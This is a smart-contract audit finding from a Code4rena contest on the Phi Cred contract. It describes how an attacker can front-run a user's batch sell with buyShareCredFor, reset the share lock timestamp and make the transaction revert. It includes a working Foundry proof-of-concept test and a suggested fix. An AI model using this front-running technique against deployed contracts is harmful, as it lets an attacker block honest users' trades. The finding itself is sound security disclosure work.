Lines of code

https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L186-L188 https://github.com/code-423n4/2024-08-phi/blob/8c0985f7a10b231f916a51af5d506dd6b0c54120/src/Cred.sol#L757-L764

Vulnerability details

Impact

Everytime when a user buys creds the lastTradeTimestamp mapping is updated to keep track the exact time of the trade:

function _handleTrade(...) ... {
    ...
    if (isBuy) {
            cred.currentSupply += amount_;
            uint256 excessPayment = msg.value - price - protocolFee - creatorFee;
            if (excessPayment > 0) {
                _msgSender().safeTransferETH(excessPayment);
            }
@>          lastTradeTimestamp[credId_][curator_] = block.timestamp;
}

And when he tries to sell it it checks if SHARE_LOCK_PERIOD has passed, which is set to 10 minutes. This is done in order to prevent from flash loan attacks, reported in the previous audit:

function _handleTrade(...) ... {
    ...
    } else {
            ...
            if (block.timestamp <= lastTradeTimestamp[credId_][curator_] + SHARE_LOCK_PERIOD) {
                revert ShareLockPeriodNotPassed(
                    block.timestamp, lastTradeTimestamp[credId_][curator_] + SHARE_LOCK_PERIOD
                );
            }
    ...        
}

However the newly introduced share lock period opens possibilities for gas griefing attacks on honest users combined with an option the protocol offers, to buy creds for other curators:

function buyShareCredFor(uint256 credId_, uint256 amount_, address curator_, uint256 maxPrice_) public payable {
        if (curator_ == address(0)) revert InvalidAddressZero();
        _handleTrade(credId_, amount_, true, curator_, maxPrice_);
    }

Proof of Concept

Consider the following scenario:

Alice wants to sell her shares on credId's from [1-100] and calls batchSellShareCred(), which calls _executeBatchSell, where _executeBatchTrade is revoked, where the curator parameter will be Alice's address:

function _executeBatchTrade(uint256[] calldata credIds_,
        uint256[] calldata amounts_,
        address curator,
        uint256[] memory prices,
        uint256[] memory protocolFees,
        uint256[] memory creatorFees,
        bool isBuy) ... {
      ...
            if (isBuy) {
                creds[credId].currentSupply += amount;
                lastTradeTimestamp[credId][curator] = block.timestamp;
            } else {
                if (block.timestamp <= lastTradeTimestamp[credId][curator] + SHARE_LOCK_PERIOD) {
                    revert ShareLockPeriodNotPassed(
                        block.timestamp, lastTradeTimestamp[credId][curator] + SHARE_LOCK_PERIOD
                    );
                }
                creds[credId].currentSupply -= amount;
            }
      ...

As can be seen above the same restriction for the lock period is applied.

An attacker front-runs her tx and calls buyShareCredFor() specifiying Alice's address as the curator and the credId as the last one from her batch tx (i.e 100) to maximize the costs, subsequently _handleTrade() will be invoked, where the lastTradeTimestamp mapping will be updated as follows: lastTradeTimestamp[100][Alice] = block.timestamp
Now Alice's submitted tx proceeds, loops over the provided cred id's and reverts on the last index (i.e 100). As a result Alice's tx reverts because the locked period has not passed.

Here is a coded PoC:

Add the following test in Cred.t.sol and run forge test --mt test_Dos

function test_Dos() public {
        // Attacker setup
        address attacker = makeAddr("attacker");
        deal(attacker, 100e18);

        vm.warp(START_TIME + 1);

        _createCred("BASIC", "SIGNATURE", 0x0);
        _createCred("ADVANCED", "SIGNATURE", 0x0);

        uint256[] memory credIds = new uint256[](2);
        credIds[0] = 1;
        credIds[1] = 2;
        bool[] memory checks = new bool[](2);
        checks[0] = true;
        checks[1] = true;
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 1;
        amounts[1] = 1;

        // User batch buys shares
        vm.startPrank(anyone);
        uint256 sumPrice = cred.getBatchBuyPrice(credIds, amounts);
        uint256[] memory maxPrices = new uint256[](2);
        maxPrices[0] = bondingCurve.getBuyPriceAfterFee(1, 1, 2);
        maxPrices[1] = bondingCurve.getBuyPriceAfterFee(2, 1, 2);

        cred.batchBuyShareCred{ value: sumPrice }(credIds, amounts, maxPrices, anyone);
        vm.stopPrank();
        assertEq(cred.isShareHolder(1, anyone), true, "cred 1 is voted by anyone");
        assertEq(cred.isShareHolder(2, anyone), true, "cred 2 is voted by anyone");
        address[] memory vote2addresses = cred.getCuratorAddresses(2, 0, 0);
        assertEq(vote2addresses[0], participant, "vote1addresses[0] is correct");
        assertEq(vote2addresses[1], anyone, "vote1addresses[1] is correct");
        assertEq(vote2addresses.length, 2, "vote1addresses length is correct");

        // Attacker's frontrunning tx
        vm.prank(attacker);
        vm.warp(block.timestamp + 10 minutes + 1 seconds);
        cred.buyShareCredFor{value: 1e18}(2, 1, anyone, 1e18);

        // User's batch sell tx
        vm.startPrank(anyone);
        uint256[] memory minPrices = new uint256[](2);
        minPrices[0] = bondingCurve.getSellPriceAfterFee(1, 1, 1);
        minPrices[1] = bondingCurve.getSellPriceAfterFee(2, 1, 1);
        vm.expectRevert();
        cred.batchSellShareCred(credIds, amounts, minPrices);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Based on the current design, consider if the buyShareCredFor function contributes the necessary value to the protocol. Or one mitigation would be to update the lastTradeTimestamp mapping with the caller's address instead of curator's, this will not limit the users from trading and such attacks would not be possible. However this would require a little refactoring to the functions.

Assessed type

DoS

code-423n4 / 2024-08-phi-findings

An attacker can gas grief curators, when they batch trade #135